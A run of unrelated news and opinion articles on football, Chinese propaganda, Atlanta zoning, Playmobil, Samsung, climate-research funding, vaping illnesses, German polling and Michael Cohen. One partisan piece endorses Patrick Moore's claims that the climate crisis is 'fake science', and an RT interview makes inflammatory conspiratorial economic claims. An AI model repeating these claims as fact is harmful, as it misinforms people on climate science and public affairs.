But beyond all those other considerations, this comes down to something simple that is not so simple after all: football, where to fit the Frenchman in. At the same time as he said it was a “lie” to suggest he had not wanted Griezmann, Messi admitted that, yes, he had wanted Barcelona to sign Neymar and thus revive that famous “trident”. In it, Neymar’s role is to play where the Frenchman is currently playing – or, more accurately, where he is having to play. As for the other two members of that front three, they play where Griezmann would best play.
At Real Sociedad, Griezmann played on the left of a front three, but that was five years ago. His emergence as one of the world’s best players at Atlético Madrid came with him in one of two positions, or sometimes both at the same time: off the right or off the front, through the middle. In other words, Messi’s or Suárez’s position. It is one thing to copy Messi when he is not there; another to do it when he is. When the rest returned he was pushed to the left wing, the place he had left behind, away from his natural spheres of influence.
“I’ve just arrived, it’s a different position, I have to change my movements, improve,” Griezmann admitted. “I need to get into the game more, improve my play on the wing. My teammates want the best from me and so do I.”
Facebook Twitter Pinterest Griezmann celebrates with confetti after scoring on his home debut against Real Betis. Photograph: Eric Alonso/ZUMA Press/Alamy
He is an intelligent striker with an enormous capacity for work, prepared to sacrifice himself for others. It is early and he probably can relearn a left-sided role. He is too good to give up on, not to integrate, not to seek a solution, but it may take time and imagination. Maybe an entire new formation, which risks making matters worse. It may take difficult decisions too. If he does not get left out, who does? It is not going to be Messi, so Suárez?
There are also alternatives to him and if there is one thing worse than playing out of position it is not playing at all. In his absence, it worked. When he was replaced by Dembélé, it was far from perfect but the fit was that little bit more natural. The good news for Griezmann is that Dembélé was sent off at the end of the Sevilla game for calling the referee “very bad”, and he will be suspended for two games – including the clásico. There is no better match in which to make a point. But can he from out there on the wing? If Ansu Fati is fit, it is not unthinkable that he still does not start then, either.
“Where do you think Griezmann plays best?” Ernesto Valverde was asked before the Inter game. “In the forward line,” he shot back swiftly, tongue slightly in his cheek, knowing where this was going. “I think he looks good on the left; he can play there. I don’t think it’s a bad idea for him to play on the left or in the middle,” the Barcelona manager continued, before adding a little sarcastically, “but, yeah, I’ll have a think about him on the right.”
There is a question there and, as Griezmann said, it is a good one.
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China's propaganda department 'not good enough at propaganda'
China's propaganda department, tasked with controlling the media and arts, has been given a slap on the wrist for not being good enough at shaping public opinion, according to a report on a government website.
The Central Commission for Discipline Inspection (CCDI) posted an article on its website Wednesday that described findings from its two-month-long probe of the ruling Communist party's propaganda department, which began in February.
Leaders in the department did not feel a sufficient sense of responsibility for undertaking ideological work, the piece cited CCDI member and investigation spokesman Wang Huaichen as saying.
China's President Xi Jinping (pictured, C) reminded top state media outlets to "strictly adhere to the orders of the Chinese Communist Party" during a series of high-profile visits to their headquarters in February ©Greg Baker (AFP/File)
Art was not directed clearly enough towards socialist aims and political thought not emphasised enough in universities, he was quoted as saying.
News propaganda was not targeted or effective enough, especially in the field of new media, where the department had failed to fully implement the principle of "the party controlling the media", the post cited him as saying.
Wang called upon the department to make propaganda appear more valid by enhancing its attractiveness and appeal, it said.
The Communist party tolerates no opposition to its rule and newspapers, websites, and broadcast media are strictly controlled. An army of censors patrols social media and many Western news websites are blocked.
President Xi Jinping reminded top state media outlets to "strictly adhere to the orders of the Chinese Communist Party" during a series of high-profile visits to their headquarters in February.
Xi has also in recent years called for higher education to play a larger role in "ideological guidance" and urged more teaching of Marxism in universities, where curricula remain tightly controlled and liberal scholars report increasing fears of censorship.
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Atlanta will soon be working on rewriting its zoning ordinance for the first time in over 30 years, possibly prompting big changes to the city’s parking and public transportation offerings.
Tim Keane, Atlanta’s planning commissioner, is designing the zoning rewrite on the basis of making the city more urban and downtown-based. Currently, Atlanta’s approach to zoning favors a more suburban style, which prioritizes driving over walking, according to Keane.
“Right now, the expectation within the zoning ordinance is that every person will drive to do everything and will park right where they want to go,” he said. “We have to eliminate that idea and replace it with the premise that people will get around Atlanta in many different kinds of ways. We have to begin to devote less space in our city to the storage and movement of vehicles.”
One way Keane is planning on making the city more accessible to walkers, bikers, and public transit users is by decreasing the amount of parking spaces building developers will have to create in order to encourage less driving around the city.
He said that, “If we as a city continue to enable this idea that people will be able to park everywhere, then we will have failed the citizens because it is impossible to achieve that. So what people can expect is for parking to become more and more constrained. The better, more convenient, affordable, and safe option for people will be to not drive.”
Instead of driving, Keane said wants more focus to be on public transportation. He says there needs to be space in the streets for transit-only lanes, so buses can move at quicker speeds than the cars. He also wants to improve bus route efficiency in an effort to expand use of public transportation in Atlanta.
Michael Dobbins, a Georgia Tech city planning professor, agrees with Keane.
“The city has been systematically moving in these directions with incremental zoning and development practice changes since after the Olympics in 1996,” he said. “I think these moves have been positive, as evidenced by the city’s growing population, especially in areas that have used these changes to their advantage. I believe that the new zoning initiatives will only propel these goals forward toward an ever more walkable, accessible city.”
Although making public transportation seems like a good idea to many, some people think that reduced parking availability could cause major problems within the city.
Hannah Wallace, an Atlanta citizen, driver and Georgia State student said, “Less parking in Atlanta seems like it would be a huge mess. I feel like it is already so difficult to find parking in this city, and MARTA doesn’t take you to every place you need to go.”
Implementing the zoning rewrite in Atlanta could be a multi-year process, but Keane said that changes around the city will be happening sooner than expected.
“Between now and then, there are many improvements that we can make to the existing zoning ordinance, including changes regarding parking, and those changes will begin this year,” he said.
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Laca - What I was thinking before my goal External Link
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• Created in 1974 in response to high plastic prices from oil crisis • More than 2bn of the 7.5cm-tall dolls have been sold worldwide
The German inventor of Playmobil toys, which became an instant success when they hit the market 35 years ago, has died at the age of 79.
Hans Beck, a furniture maker and model enthusiast, came up with the toy in 1974 after being asked to create a new and collectible play concept. It was initially suggested he might work on a range of cars. Instead Beck came up with the dolls and earned himself a place in toy history.
He worked according to his motto "no horror, no superficial violence, no short-lived trends", the Brandstätter Group, owners of Playmobil, said in a short statement.
Beck created a whole fantasy world of figures with moving arms and legs that bend at the hip, wear snap on clothes, and continue to capture the imagination of children all over the world.
More than 2.2bn figures have been produced and sold in over 70 countries. At 7.5cm tall, and promoted as "ideal for a child's grip", the figures are meant to represent real life average adult height of 175cm (5ft 7ins).
The original figures were a knight, a builder and a Native American. But the toy empire expanded hugely over the years and, alongside fairies, firefighters, nurses, jewel thieves, Egyptologists, prisoners, police tracking dogs and airport security staff are now part of the Playmobil firmament.
The trigger for the toy's creation was the global oil crisis of the early 1970s, when the price of plastics increased sixfold. Large toys which Brandstätter had produced up until then became prohibitively expensive and it was forced to rethink its product line.
Beck was asked to develop a "system of play which can be expanded and which through relatively small parts made out of the expensive synthetic material offers a high value product".
Beck worked for Brandstätter for 40 years until 1998. In that time he became head of design. He lived with his wife near Lake Constance in southern Germany where he died following a serious illness on Friday.
The success of Brandstätter, which employs 3,000 staff and posted €452m ($408m) in sales last year, is based on the continued popularity of Playmobil. The figures have won numerous prizes over the years for their quality as well as their educational potential. The company has resisted calls to equip the figures for the digital age by adding sound effects and mechanised features, arguing that it does not want to betray Beck's original concept.
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Since his Twitter presence caused a ton of trouble for his company and forced him to step down as chairmen of Tesla, Elon Musk has a little bit of time on his hands. He's taken up the refuge hobby of middle-aged dudes everywhere: homebrewing. That's right, y'all. Tesla-branded tequila is coming.
Of course, this is no garage operation: You fix a project car; Elon launches a convertible into space. The mega-rich carmaker has already shared an appropriately futuristic bottle prototype for his new spirit, extending the pew-pew font of his brand for "Teslaquila."
Musk has not made it clear whether the bottles will be for sale or used as a promotional item for the company, though we'd have to question the logic giving away bottles of tequila with cars.
This is far from Musk's most outlandish idea: He notably sold $500 flamethrowers earlier this year. And Musk might be emboldened to pursue even more outlandish ideas because of his undying support from some A-listers. Kanye West recently felt so compelled to defend the magnate that he hopped on a table and shouted out a defense to anyone who would listen.
“Elon Musk? I don’t care who’s over at his house, leave that man the fuck alone,” Kanye told students at Detroit's College for Creative Studies. “Leave that man the fuck alone.”
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For contact call 07964791663 or 07842765067
A large demonstration of around 300 students today took place on University of Birmingham campus. The students unfurled a banner on the clock tower and engaged in a brief sit-in in the Great Hall during the protest – while also maintaining their occupation of the Horton Grange conference center which has been in occupation for over a week.
The demonstration followed a national meeting of a large number of campus groups, which has put out a call for co-ordinated direct action from 6th February.
After the protest was over, a large group of 100 students were kettled upon exiting the Great Hall. The kettle lasted four hours, keeping protestors and press in the freezing cold. Around a dozen arrests were made as students were let out the kettle one by one.
Kirsty Haigh, an NCAFC activist and union officer at Edinburgh University said “What we saw from management and police today was utterly disgraceful. As far as we know the arrests were all for refusing to give their names to the police. Universities everywhere are losing the argument on staff exploitation and privatisation – and the only argument we saw from them today was brute force.”
The protest was calling for free education and living wages for staff on campus and is part of a series of protests that have been running since November.
Catie Garner, a student from Birmingham Defend Education, said “5 students currently face disciplinary and maybe expulsion for occupying the senate chamber for 8 days in November. Now more than a dozen protesters and students have been arrested for a peaceful sit-in in the Great Hall. The University has spent tens of thousands of pounds on two injunctions to ban our occupations, and the cost of dozens of police and security must be astronomical. It would only cost £80k a year to pay all staff on campus a living wage wouldn’t it be easier to do that rather than spend all this money trying to quash dissent?”.
Student dissent has been facing a crack-down for several months. Hannah Webb, from UCL student union and NCAFC said “Detention for a minor act of civil disobedience represents yet another attempt to criminalise peaceful protest and to dissuade people from taking part in increasingly popular movements to defend education, services and jobs.”
This episode comes after last term’s #copsoffcampus demonstrations, largely in reaction to heavy police repression, in particular at the University of London, where 41 arrests were made in 48 hours.
Strikes and student occupations are expected to intensify in coming weeks. The national meeting that preceded today’s demonstration also called for co-ordinated direct action from 6th February.
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American lawmakers have colluded with Wall Street executives to build an economy that no longer works in the best interest of, or even needs, the majority of the American public, according to RT financial host Max Keiser.
RT:There’s a lot of hype and some would say overreaction around all of this but the tell-tale sign is the markets. They haven’t reacted negatively. Is there really a crisis here?
Max Keiser: I think we should take the words of Warren Buffet to heart. He basically described the Federal Reserve Bank and the American economy as one giant hedge fund. And he is absolutely correct. The way that Wall Street, Washington, and these large funds approach America is as a trade that is backed by $120,000 or $130,000 of debt and that debt gets traded around every day. And the whole initiative here is to buy hedge funds and try to squeak out profits, and they don’t really care who they hurt in the process. Remember America is run by what I call financial jihadists who are basically suicide bankers. Warren Buffett, of course, is one of these suicide bankers and America, from the outside of course, looks like they’re trying to commit financial suicide. But that’s what a financial jihadist does, or a suicide banker. They blow themselves up for their cause and in this case it’s market fundamentalism, a belief in the profit - not the prophet.
RT:But other tell-tale signs of the economy improving are there, Max. Are we to believe the economic indicators which suggest the US economy is on the up?
MK: Well, you look at a deal recently between Carl Icahn and Apple computers. It’s the story of two different economies because most Americans deal day-to-day, hand-to-mouth, paycheck-to-paycheck. Then you have the other economy which is the Wall Street economy, the financial jihadist economy. Carl Icahn can tweet about getting Apple to buy back $150 billion of their own stock, which of course is financed with zero percent interest rates and if they make a mistake they get bailed out just like long-term capital management was bailed out. Remember that in the late 1990s, early 2000s, long-term capital management ran into trouble. Alan Greenspan – the Fed chairman at the time – bailed them out. He lowered interest rates to bail out a hedge fund. What will happen here – this is the outcome, there’s two outcomes – either the Federal Reserve Bank will increase their monthly buyback of bonds from $85 billion a month to $120 or $130 billion a month, or America defaults on its sovereign debt like it did in 1971 when it closed the gold window. Those are the two outcomes. So what we see here is jockeying between these two powerful sources in Washington, Congress, and the Senate. By the way - they all own stocks. Insider trading is legal. They’re all trading this information, they’re on their little phones and they’re trading stocks up and down and making money at the expense of the American people because they are financial terrorists as well. Financial terrorists have captured the American economy. I mean that’s plain and simple. Warren Buffet hit the nail on the head - America is just one giant hedge fund.
RT:But they will raise the debt ceiling won’t they? Or will they not, because Obama is clearly worried about that? They’re arguing about Obama’s health care. What’s going to happen with that crisis?
MK: The smart money would be short stock market right now and then when they raise the debt ceiling and print $120 billion to $130 billion a month in brand new quantitative easing there’ll be another huge rally. That’s the insider’s scoop; I’m telling you how to make money on this façade, this Kabuki theater that has become America. America is the most watched soap opera in the world right now; it’s a huge hedge fund. You’ve got CNBC covering it like it’s an episode from “Breaking Bad,” the popular show about methamphetamine on cable TV. Ben Bernake and Barack Obama, you can almost picture them in the back room cooking up some meth and selling it on the street to finance their habit, which is defense spending, torture, extraordinary rendition, bombing people overseas, droning people that costs a lot of money. The only way they can finance that is by treating the entire economy like it’s a hedge fund where they just extract wealth second by second, manipulating markets, trading inside information. JP Morgan, Lloyd Blankfein, HSBC, Barclays, inside trading, market manipulation; they’ve been caught at it time and time again. Laundering money from drug cartels in the face of HSBC over and over again. It’s just drugs, insider trading, market manipulation, and Warren Buffett. That’s all that’s left in America.
RT:You’re great with the plot lines so how is this particular episode going to end? The episode of the federal government shutdown. Is it going to end soon? Could it drag on for three weeks like we’ve seen in the past?
MK: A lot of people get hurt but the people in Washington consider the American public to be expendable. They don’t need the American public. They don’t need their taxes, they don’t need them working - because when they need money they just print it. It’s like Saudi Arabia in America. In Saudi Arabia when they need more money they just pump more oil. They don’t need the population, that’s why they live in destitute and why there’s so much poverty in Saudi Arabia. It’s the same thing in America – there’s a huge amount of poverty because...when they need some cash, they just get Ben Bernake to print it. It’s Saudi Arabia, it’s called the new American dream. The Saudi Arabian dream is alive in America.
The statements, views and opinions expressed in this column are solely those of the author and do not necessarily represent those of RT.
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1. MEANING OF THE SAMSUNG LOGO: In Korean, the word Samsung means “three stars.” The name was chosen by Samsung founder Lee Byung-chull whose vision was for his company to become powerful and everlasting like stars in the sky. The three stars remained as the company logo in various forms until 1993 when the current logo was introduced.
2. NEW MANAGEMENT: In June of 1993, while on a global tour, Samsung’s chairman, Lee Kun Hee arrived in Germany at a hotel in Frankfurt. He summoned all of Samsung’s executives from around the world for a senior meeting, where he gave a three day speech laying out his vision for the future of Samsung and what the company had to do to become successful. The most famous quote that came from the speech was: “Change everything except for your family.” Since then, Samsung has risen to become a global leader in consumer electronics. June 2013 will mark the 20th anniversary of New Management.
3. COMMITMENT TO QUALITY: In March 1995, Samsung’s Chairman Lee Kun Hee was not content with the quality of Samsung products. In order to get his employees to better understand the importance of quality, he had his staff assemble a pile of 150,000 phones and fax machines in a field outside the Gumi factory in South Korea. More than 2,000 employees gathered to watch the destruction of the old devices, ushering in a new era centered around product quality. Ever since that day, we have focused on creating high-quality premium products that have gained critical and commercial success globally.
4. HUMAN RESOURCE DEVELOPMENT CENTER: Samsung’s culture is as diverse as the world in which we live. With 236,000 employees in 79 countries around the world, we look for ways to solve problems and meet consumer needs. Since 1993, Samsung’s Human Resource Development Center has offered 64 courses to 53,400 employees. It has deployed 5,045 Regional Specialists globally to drive global understanding and cultural awareness throughout the company. Regional Specialists is Samsung’s unique global training program in which employees spend one year in another country. Aside from their everyday work, the regional specialists have ample opportunities to explore the country’s culture, language and customs.
5. SAMSUNG THROUGH AND THROUGH: To ensure the highest quality products, 90% of Samsung products are produced by within Samsung’s own factories. We ensure a rigorous level of quality to every component that goes into our devices.
6. PEOPLE: With over 230,000 employees around the world, we are as much a local company as we are a global one. Our ties to the community run deep, as does our commitment to local investment and R&D efforts. We don’t just build an office, we look for ways to provide jobs, bring in new business and sponsor local events. We believe in the power of community to provide opportunity and spur creativity.
7. REVENUE: Samsung’s revenue in 2012 was $188 billion. By 2020, Samsung plans to reach $400 billion in revenue. This target will be driven by a continued focus on consumer electronics, but also through a concerted drive into new growth areas, such as enterprise sales and medical devices
8. THE SAMSUNG BRAND: Samsung was ranked 9th on the 2012 Interbrand Best Global Brands list. That is eight places higher than the year before and represents a 40% jump in brand value. Our brand promise is creating products and services that expand experience and open possibilities – possibilities for everyone, everywhere. And it means upholding a belief in shared responsibility – to our people, our planet and our society.
9. WORLD’S FIRST: Our products and services are made with users in mind; our designers aim to go beyond function to create technology that is an intuitive extension of people’s needs and lifestyles.
We constantly strive to create new experiences; we’ve done so for years. In 1996, Samsung commercialized the world’s first CDMA cellular system; in 1998, we invented the world’s first digital TV set. In 1999, we introduced the world’s first watch phone (SPH-WP10) as well as world’s first mp3 phone (SCH-M210/SPH-M2500) and the first TV Phone (SCH-M220).
10. NO.1 IN SMARTPHONES: Our goal is to deliver the best possible experience to every consumer; that’s why we work constantly to deliver the most intuitive experiences – along with the world’s best innovation and design – to the palm of a user’s hand. Samsung has sold more than 100 million GALAXY S series smartphones worldwide. Sales continue to increase, but in January 2013 the original GALAXY S had sold 24.6 million units, and the GALAXY S II and GALAXY S III had each sold over 40 million units.
11. NO.1 IN TVs: We see television as much more than just a screen. It’s a window – a window into new experiences, new discoveries and new possibilities. We make televisions for every market. We offer premium TVs with Smart Hub that sets new standards for performance, usability and design. We truly believe in innovation for all; that’s why 100 Samsung TVs are sold every minute and we’ve been the world’s most successful TV manufacturer for the past seven straight years.
12. MEMORY NO.1: Samsung has been a leader in the design and manufacturing of memory semiconductors since 1993. We create essential memory products, including dynamic random access memory (DRAM), static random access memory (SRAM), NAND flash memory, Solid State Drives (SSD) and a range of green memory solutions for use in PC, server and mobile applications. Samsung is also leading the industry in the advancement of next generation DRAM and NAND flash technologies while nurturing future memory technologies.
13. R&D INVESTMENT: In 2012, Samsung spent $10.8 billion in R&D or about 6% of the revenue. We didn’t get to be the world’s largest electronics company by telling customers one size fits all. We got there by trying new things and not being afraid to take risks. More than 25% of our workforce is dedicated to R&D and it is this relentless pursuit forward – investing in the new and unknown – that is the basis of our success.
14. R&D CENTERS: There are 33 R&D centers around the world. These include diverse locations such as Russia, India, Israel and China, as well as more established markets like North America, U.K., Japan and Korea. We make our products with the local consumer in mind; our designers and product developers travel the world, looking for ways to address specific local needs through technological innovation. We aim to create products that help make people’s lives better, regardless of where they are.
15. DESIGN CENTERS: Our commitment to design began more than 40 years ago and today there are six design centers in London, San Francisco, Tokyo, Shanghai, Delhi, , and Seoul. We hold more iF and IDEA design awards than any other technology company; in 2012 Samsung received 44 iF Awards and 7 IDEA Awards in 2012 – the most of any nominee.
16. PATENTS: Our technology is about more than just sharing information; it’s a gateway to new experiences; our products aren’t just practical – they’re helping people to discover things they’d never dreamed possible. To achieve this, we innovate relentlessly. That’s why Samsung is the No.1 holder of design- and mobile-related patents worldwide. In the US, Samsung holds the second-highest number of patents, with 5,081 patents registered by the US Patent Office in 2012.
17. PURSUIT OF INNOVATION: At Samsung we put creativity at the center of what we do. That’s reflected in products that give our customers the power to express their own unique talents and individuality. Samsung Galaxy Note II with S Pen provides faster, more accurate input.
The S9 Ultra HD TV offers unprecedented picture clarity and detail. The Smart TV Evolution Kit allows owners of select 2012 Samsung HDTV models to upgrade sets with latest hardware and software features. GALAXY Camera is the first 4G-enabled, Android-based digital camera.
18. ENVIRONMENTAL CERTIFICATION: Innovation at Samsung means more than new capabilities and smarter product features. Equally important is saving energy and using safe materials – merging advanced technology with a commitment social responsibility. You’ll see this throughout our range of products and services. From phone screens that save power by dimming when you look away, to washers that are made for cold water usage, we’re working smartly so you can, too.
From 2013, 100% of products are set to receive global standard environmental certifications. Samsung also ranked as the world’s most sustainable technology company in the 2011 Dow Jones Sustainability Index and was voted ENERGY STAR ‘Partner of the Year’ for the third-consecutive year in 2013. [
19. GREEN INVESTMENT: At Samsung. We uphold a belief in shared responsibility – to our people, our planet and our society. That’s why we hold ourselves to the highest standards along all areas of our supply chain and why we expect all those we work with to do the same. We will have invested $4.8 Billion between 2009 and 2013 to reduce 85 million tons of greenhouse gases and Greenhouse gas emissions from manufacturing have been reduced by 40% from 2009 levels.
20. FUTURE TECHNOLOGIES: Our passion is to bring people innovation that they’d never dreamed was possible. Honoring this commitment, Samsung incubates future technology through the Samsung Advanced Institute of Technology; it’s why we’re focusing on Future IT & Convergence, New Materials & Nanotechnology, Energy & Environment and Bio & Health.
We believe technology can change our world for the better. It can open up a universe of ideas. It can spark unknown passions. And it can connect people half a world away. That’s why, every day, we’re thinking of new ways to bring our technology to more people across the globe. For us, it’s about more than just products and services. We believe technology can open the door to a world of new possibilities.
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DW: France recently pledged 30 million euros ($33.4 million), to match what it hopes will be another 30 million euros from universities and other organizations, making a total of up to 60 million euros to fund the work of up to 50 climate researchers over five years. What is your reaction to the initiative?
Dr. Jean Jouzel
Jean Jouzel: I was at the meeting with Emmanuel Macron, and also NGOs, about climate change issues when he initially announced it [without the funding] last Tuesday. I was really surprised at first. My first reaction was not so positive because at that time, the main point was that if there is no additional money, it will be very difficult.
So I understand from the announcement on Saturday that there will be additional money, which is nice - I think it can be positive at the end if we succeed in attracting bright scientists from abroad and indeed at our institute, we have had four applications already.
Dr. Valérie Masson-Delmotte
Valérie Masson-Delmotte: The initiative is the follow-up to a promise made during his electoral campaign and repeated when the president of the USA announced the retreat of his country from the Paris Agreement. In the last few days, more details have been given to explain how this initiative would be implemented in practice.
I strongly support any initiative from France, Europe and other countries to offer "scientific asylum" for scientists as there is a large risk of loss of knowledge and know-how. The risk is for US science, as well as for international climate science efforts.
From France's announcement on Saturday, it's not yet fully clear whether the funding will be open only to foreign scientists and scientists based abroad working on climate research, or whether French scientists based in France would also be eligible. I understand that some French scientists have expressed frustration that they may not directly benefit from this funding. How do you feel this initiative is being received in France?
JJ: It's not clear for me either, when you look at the announcement. I suspect there will be a priority for American scientists, because this was the initial idea. So there seems to be priority for American scientists, and for scientists working abroad - but it seems it could possibly be for a French scientist working abroad, working in the US to come back to France.
But nobody knows who will apply, how many people will apply, so I think it's relatively open.
We need funding in France, we need also support in the laboratory, new positions in our field because there's a growing interest in climate issues. I understand very well this feeling that we need more money in France.
Macron (right) called for climate scientists to come to France as a response to Trump (left) pulling out of the Paris Agreement
V M-D: The current situation for French science funding is far from being satisfying. Recurrent funding for laboratories is very low; and there are fewer and fewer opportunities for early career scientists in research agencies and universities to find a permanent position. While French research is still highly competitive, due to the dedication and "value for money" (considering low salaries), this is not a sustainable pathway.
At the same time, French research is highly integrated at the international scale, and the National Center for Scientific Research (CNRS), for instance, is hiring at least 25 percent of scientists from other nationalities, interested by academic freedom associated with the French researcher status.
The [funding] initiative is not designed to improve work conditions for French research in general. It is designed to promote France as a host country for progress associated with climate science and science-based solutions, and committed to support the Paris Agreement.
Do you think many climate scientists, particularly scientists from the US, will take up Macron's invitation made in a viral web video for them to move to France and contribute to research there?
V M-D: In fact, I learned about the webpage associated with this call from scientists from other countries when I was at a meeting in the United Kingdom. Several scientists had approached me with practical questions, to which I had no answer at the time.
JJ:I was skeptical, but this is just one week on, and there are already applications at my institute.
Trump's decision to withdraw the US from the Paris climate change accord was met with protest
What is your view of Macron and his commitment to climate change?
V M-D: As for many other countries, environmental issues were very low-profile during policy campaigns and election debates. It seems that Macron is willing to take visible leadership on these issues. Let us wait until we see what will be the decisions taken by our new government on environmental issues.
JJ: I feel that this [funding initiative] is a sign of Emmanuel Macron's interest in climate change issues - that President Macron, as I feel it, wants to support our field of research. I feel it's also a political issue, and I really think the country which will take leadership on this climate change issue will take the leadership of this world. That's also from an economic viewpoint.
The decision of [US President Donald] Trump to withdraw from the Paris Agreement is a mistake, it's clear, for me. Macron understands very well this aspect. The new economy will have to take care of the climate issue. Macron has interest [in the climate], but he also has interest as a politician in the good sense of the term. This is leverage for his political action at the European level.
Valérie Masson-Delmotte is a French climate scientist and co-chair of one of three working groups on the Intergovernmental Panel on Climate Change (IPCC).
Jean Jouzel is a French glaciologist and climatologist, and former vice-chair of the IPCC, who won the 2012 Vetlesen Prize, considered to be the earth sciences’ equivalent of a Nobel award.
These interviews were conducted by Melanie Hall.
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Last month, Socialist-Democrat Congresswoman Alexandria Ocasio-Cortez revealed her ridiculous “Green New Deal” to Americans. With the exception of her socialist comrades in the Democrat Party, her embarrassing scheme was roundly criticized and mocked, even by many of her allies in the media.
Greenpeace co-founder Patrick Moore ripped the freshman Democrat congresswoman Alexandria Ocasio-Cortez to shreds in a tweet. Over the past week, it’s been rumored that the socialist lawmaker, Ocasio-Cortez, has now wrested power from House Speaker Nancy Pelosi, with her even more illogical and radical ideology. In response to Ocasio-Cortez’s “New Green Deal,” Moore tweeted:
Pompous little twit. You don’t have a plan to grow food for 8 billion people without fossil fuels, or get the food into the cities. Horses? If fossil fuels were banned every tree in the world would be cut down for fuel for cooking and heating. You would bring about mass death.
Alexandria Ocasio-Cortez responded by demanding that the Greenpeace co-founder come up with a better plan, reminding him that she and the Democrat majority Congress, and not he, are in charge now.
Yup. If you don’t like the #GreenNewDeal, then come up with your own ambitious, on-scale proposal to address the global climate crisis.
Until then, we’re in charge – and you’re just shouting from the cheap seats.
Pompous little twit. You don’t have a plan to grow food for 8 billion people without fossil fuels, or get the food into the cities. Horses? If fossil fuels were banned every tree in the world would be cut down for fuel for cooking and heating. You would bring about mass death. — Patrick Moore (@EcoSenseNow) February 23, 2019
Today, the Greenpeace co-founder appeared on Fox and Friends to discuss his tweet and explain what he meant when he called Socialist-Democrat Alexandria Ocasio-Cortez a “Pompous twit.”
When asked about his tweet by Fox and Friends host Steve Doocey, Moore explained, She really rubbed me the wrong way when she said, she’s ‘the boss,’ because she can make up a proposal that’s completely ridiculous and no one else did. Moore continued, “The whole climate crisis, as they call it, is not only fake news, it’s fake science. There is no climate crisis. There is weather and climate all around the world. And in fact, Carbon Dioxide is the main building block of all life. That’s where the carbon comes from in carbon-based life, which is all life on the land and in the sea.”
Moore also said that as a Canadian, he doesn’t think a little warming would be a bad thing. He added, “The people in Russia wouldn’t mind a couple of degrees warmer either.”
A frustrated Moore, who’s in D.C. this week for a director’s meeting for the “CO2 Coalition,” responded to the claim by scientists that climate change is real. Moore responded, “Yes, of course, climate change is real. It’s been happening since the beginning of time, but it’s not dangerous, and it’s not made by people. Climate change is a perfectly natural phenomenon. And this modern warm period actually began about 300 years when the little ice age began to come to an end.”
Moore warned: “There is nothing to be afraid of—and that’s all they’re doing is instilling fear. Most of the scientists who are saying it’s a crisis are on perpetual government grants. On one hand, they say the science is settled and people like myself should just ‘shut up,’ because they know what’s right. On the other hand, they seem to keep studying it forever, as if there’s something new to find out. And those two things are completely contradictory.”
“Carbon dioxide is actually a benefit to the world!” Moore exclaimed.
Watch:
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Shadowy “Dank Vapes” and other mysterious THC cartridges have been linked to a rash of vaping-related lung illnesses in both Illinois and Wisconsin, health officials warned Friday.
“Dank Vapes appears to be the most prominent in a class of largely counterfeit brands, with common packaging that is easily available online and that is used by distributors to market THC-containing cartridges with no obvious centralized production or distribution,” state health officials from Illinois and Wisconsin wrote in a report the U.S. Centers for Disease Control and Prevention released Friday.
But Dank Vapes, like many black-market brands, might not be a single company, producer or distributor — if it’s a real company at all, according to an Inverse investigation published in August.
The CDC report isn't the first time the Dank Vapes brand has been mentioned by health officials since an outbreak of illnesses swept the U.S. this summer. The cartridges were also flagged by New York health officials earlier this month.
“Dank Vapes appears to be the most prominent in a class of largely counterfeit brands”
Health officials have also repeatedly said they suspect black-market THC cartridges are a potential culprit behind the illnesses, since vape enthusiasts have no way of knowing what’s in them, they’re not regulated, and they often come prepackaged.
“Of the patients who reported what products they used, THC-containing products were the most prominent link across patients, with only 16% reporting using only nicotine-containing products,” CDC Principal Deputy Director Anne Schuchat said during a press briefing Friday.
Still, the supply chain of those vaping products can be a bit nebulous, and the CDC still hasn’t come up with a firm culprit for the spate of hospitalizations, especially since many of those sickened also vape nicotine products or use several brands at once.
Since the first sicknesses cropped up earlier this summer, 805 cases and at least 12 deaths have been reported to the federal agency. In the meantime, the Food and Drug Administration has opened up a criminal investigation relating to the rash of illnesses.
Meanwhile, researchers in Illinois and Wisconsin said Friday that they took it upon themselves to interview 86 people who reported illnesses after vaping. They found a whopping 234 products with 87 different brand names had been used among the group, according to their report.
There was no single brand name reported among all patients, but Dank Vapes came up 66% of the time, according to health officials. The brand names Moon Rocks, TKO, and Off White were also mentioned.
The CDC said Friday that it has not yet discovered a common ingredient among all the vape products it’s tested, so it’s unclear what — if anything — might be making people sick from those specific brands.
In New York, health officials suspected vitamin E acetate in the vape cartridges might be to blame. NBC News sent a cache of cartridges to a cannabis testing facility and found both pesticides and vitamin E among nearly all of the illicit, black-market vape pens they tested.
Because so much about the cause of the illnesses has been in the air for weeks, places like Massachusetts have outright banned all vaping products, at least temporarily. Michigan and New York banned flavored vape products, and President Donald Trump threatened a similar measure nationwide. The CDC similarly urged Friday that vaping should be avoided — particularly with marijuana products.
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German Chancellor Angela Merkel trails Social Democrat Martin Schulz by 16 percentage points in a poll released Thursday.
Schulz would receive 50 percent of the votes if Germans got to pick a new chancellor this weekend. Merkel — who is seeking a fourth term after opening the borders to more than one million refugees — received support from 34 percent.
The good news for Merkel is that her Christian Democratic Union (CDU) remains the largest party with 34 percent support, down three from January. The Social Democrats gained eight points and is now within striking distance at 28 percent — just six behind CDU.
Merkel’s hopes of securing a fourth term as chancellor in September rely on CDU remaining the largest party. The chancellor is usually selected from the most popular party after a parliamentary vote.
Schulz was nominated as the Social Democratic candidate less than a week ago and has already given the party a huge boost. He is returning to German politics after 23 years in the European Parliament — where he most recently served as president.
“We are going to make the elections this year a real thrill,” Schulz said after getting nominated Sunday. “Our party, the SPD, has the ambition to become the strongest political force in the next election. And I have the ambition to become the next chancellor of the Federal Republic of Germany,”
Volker Kauder, CDU’s group leader in the German parliament, recently told Deutsche Welle that Schulz’s emergence is natural “when someone new steps onto the stage.”
Populist party Alternative for Germany dropped three points but remains the third-largest party with 12 percent.
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In 30 days President Trump's former lawyer and fixer Michael Cohen is scheduled to report to prison to serve a three-year sentence for, among other things, defrauding banks and evading taxes on $4,134,051 in income between 2012 and 2016. In a new letter to Congress asking lawmakers to help keep him out of jail, Cohen's media-friendly lawyer, Lanny Davis, said his client "is going to prison for conduct almost all of which was for the benefit of Mr. Trump personally and indeed directed by him."
Davis did not explain how Cohen's bank fraud and failure to tell the Internal Revenue Service about $4,134,051 in income from his lucrative taxi medallion business was done for the benefit of Donald Trump personally, nor did Davis explain how Trump directed Cohen to commit those crimes. The crime which prosecutors say Trump did direct Cohen to commit, a campaign finance violation stemming from the Stormy Daniels payoff, is often punished by a fine.
Beyond that, even if one accepts Cohen's shaky claim that Trump directed him to commit yet another crime, lying to Congress, others convicted of lying in the Trump-Russia investigation have been given very light sentences. Former short-term Trump campaign aide George Papadopoulos was sentenced to 14 days.
